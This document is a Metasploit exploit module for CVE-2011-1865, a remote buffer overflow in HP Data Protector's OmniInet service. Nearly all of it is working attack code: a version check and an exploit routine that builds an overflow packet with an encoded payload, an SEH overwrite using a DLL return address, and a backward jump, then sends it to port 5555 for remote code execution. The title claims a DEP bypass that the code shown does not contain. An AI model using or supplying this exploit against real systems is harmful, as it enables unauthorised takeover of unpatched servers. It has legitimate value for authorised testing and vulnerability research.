HP Data Protector 6.11 Remote Buffer Overflow + DEP Bypass

##
# $Id: hp_omniinet_3.rb 13081 2011-07-01 22:26:12Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::Remote::Tcp
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'HP OmniInet.exe Opcode 27 Buffer Overflow',
   'Description'    => %q{
     This module exploits a  buffer overflow in the Hewlett-Packard
    OmniInet NT Service. By sending a specially crafted opcode 27 packet,
    a remote attacker may be able to execute arbitrary code.
   },
   'Author'         => [ 'MC' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 13081 $',
   'References'     =>
    [
     [ 'CVE', '2011-1865' ],
     [ 'URL', 'http://www.coresecurity.com/content/HP-Data-Protector-multiple-vulnerabilities' ],
    ],
   'Privileged'     => true,
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'seh',
    },
   'Payload' =>
    {
     'Space'    => 800,
     'BadChars' => "\x00",
     'StackAdjustment' => -3500
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'HP Data Protector A.06.10 Build 611 / A.06.11 Build 243',
      {
       #POP/POP/RET from OmniBack\bin\MSVCR71.dll
       'Ret' => 0x7c35630d
      }
     ],
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Jun 29 2011'))

  register_options([Opt::RPORT(5555)], self.class)
 end

 def check

  connect
  sock.put(rand_text_alpha_upper(64))
  resp = sock.get_once(-1,5)
  disconnect

  if (resp)
   resp = resp.unpack('v*').pack('C*')
   print_status("Received response: " + resp)

   # extract version
   if (resp =~ /HP Data Protector/)
    version = resp.split[3]
   elsif (resp =~ /HP OpenView Storage Data Protector/)
    version = resp.split[5]
   elsif (resp =~ /HP StorageWorks Application Recovery Manager/)
    version = resp.split[5]
   else
    return Exploit::CheckCode::Detected
   end

   version = version.split('.')
   major = version[1].to_i
   minor = version[2].to_i
   if ((major < 6) or (major == 6 and minor < 11))
    return Exploit::CheckCode::Vulnerable
   end

   if ((major > 6) or (major == 6 and minor >= 11))
    return Exploit::CheckCode::Safe
   end

  end
  return Exploit::CheckCode::Safe

 end

 def exploit

  connect

  trigger = rand_text_alpha_upper(10000)
  trigger[4552, payload.encoded.length] = payload.encoded
  trigger[5352, 8] = generate_seh_record(target.ret)
  trigger[5360, 5] = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-788").encode_string

  opcode = "27"

  packet = Rex::Text.to_unicode("\x00")
  packet << "\x27\xca" #length
  packet << "\xff\xfe\x32"
  packet << "\x00\x00\x00"
  packet << Rex::Text.to_unicode("\x20\x61\x00") * 3
  packet << Rex::Text.to_unicode("\x20")
  packet << trigger
  packet << Rex::Text.to_unicode("\x00")
  packet << Rex::Text.to_unicode("\x20\x61\x00")
  packet << Rex::Text.to_unicode("\x20" + opcode + "\x00")
  packet << Rex::Text.to_unicode("\x20\x61\x00") * 24

  print_status("Trying #{target.name}...")
  sock.put(packet)
  
  select(nil,nil,nil,10)
  handler
  disconnect

 end

end